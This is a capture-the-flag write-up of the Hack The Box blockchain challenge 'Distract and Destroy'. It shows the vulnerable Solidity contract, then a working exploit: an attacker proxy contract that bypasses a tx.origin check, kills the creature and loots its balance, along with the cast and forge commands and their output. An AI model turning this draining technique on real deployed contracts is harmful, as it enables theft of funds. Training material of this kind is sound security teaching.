HackTheBox: Distract and Destroy
Distract and Destroy
This is my writeup for the Distract and Destroy blockchain challenge from Hack The Box.
Difficulty: Very easy
After defeating her first monster, Alex stood frozen, staring up at another massive, hulking creature that loomed over her. She knew that this was a fight she couldn’t win on her own. She turned to her guildmates, trying to come up with a plan. “We need to distract it,” Alex said. “If we can get it off balance, we might be able to take it down.” Her guildmates nodded, their eyes narrowed in determination. They quickly came up with a plan to lure the monster away from their position, using a combination of noise and movement to distract it. As they put their plan into action, Alex drew her sword and waited for her chance.
Initial Analysis
In this level, we are given a smart contract called Creature.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 1000;
}
function attack(uint256 _damage) external {
if (aggro == address(0)) {
aggro = msg.sender;
}
if (_isOffBalance() && aggro != msg.sender) {
lifePoints -= _damage;
} else {
lifePoints -= 0;
}
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}
}
Our goal is to drain the contract’s balance. To do this, we must reduce the creature’s life points to zero and then call the loot
function.
But how do we reduce the life points? The attack
function allows us to damage the creature, but there are a couple of checks to pass first:
Aggro Assignment:
Ifaggro
is the zero address (the default), it is set tomsg.sender
on the first attack.Off-Balance Check:
The_isOffBalance
function checks iftx.origin != msg.sender
. This means we need to callattack
from a contract (not directly from an EOA) to pass this check.
The Exploit
First Attack (from EOA):
Callattack
directly from our externally owned account (EOA) to setaggro
to our address.Second Attack (via Proxy Contract):
Callattack
from a proxy contract. This will pass the_isOffBalance
check, allowing us to reduce the creature’s life points.
Step-by-Step
# Check that aggro is zero by default
cast call $TARGET_ADDRESS "aggro()" --rpc-url $RPC_URL
0x0000000000000000000000000000000000000000000000000000000000000000
# Update the aggro value
cast send $TARGET_ADDRESS "attack(uint256)" 1000 --rpc-url $RPC_URL --private-key $PRIVATE_KEY
# Confirm aggro has been updated to our EOA address
cast call $TARGET_ADDRESS "aggro()" --rpc-url $RPC_URL
0x0000000000000000000000006c218a4d306f2790b5ea672677506124251558c5
Create our attacker contract:
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import {Creature} from "src/Creature.sol";
contract Attacker {
Creature public creature;
constructor (Creature _creature) {
creature = _creature;
}
function exploit() public {
uint256 damage = 1000;
creature.attack(damage);
creature.loot();
}
/// Fallback and receive methods to accept ether
fallback() external payable {}
receive() external payable {}
}
Deploy it so we can interact with it:
forge create Attacker.sol:Attacker --broadcast -r $RPC_URL --private-key $PRIVATE_KEY --constructor-args $TARGET_ADDRESS --verify
Deployer: 0x6c218A4d306f2790b5EA672677506124251558c5
Deployed to: 0x41E47A66E7Cb2Ec75bF87e453601bb5478f44cB7
Transaction hash: 0x570a2260e7e02309a58204bb2e91cc1780f683453725237f5ad56fce11d4ae93
Do the attack:
# Attack!
cast send 0x41E47A66E7Cb2Ec75bF87e453601bb5478f44cB7 "exploit()" --rpc-url $RPC_URL --private-key $PRIVATE_KEY
# Confirm life points have been reduced to zero
cast call $TARGET_ADDRESS "lifePoints()" -r $RPC_URL
0x0000000000000000000000000000000000000000000000000000000000000000
By following these steps, we successfully drain the contract’s balance and complete the challenge.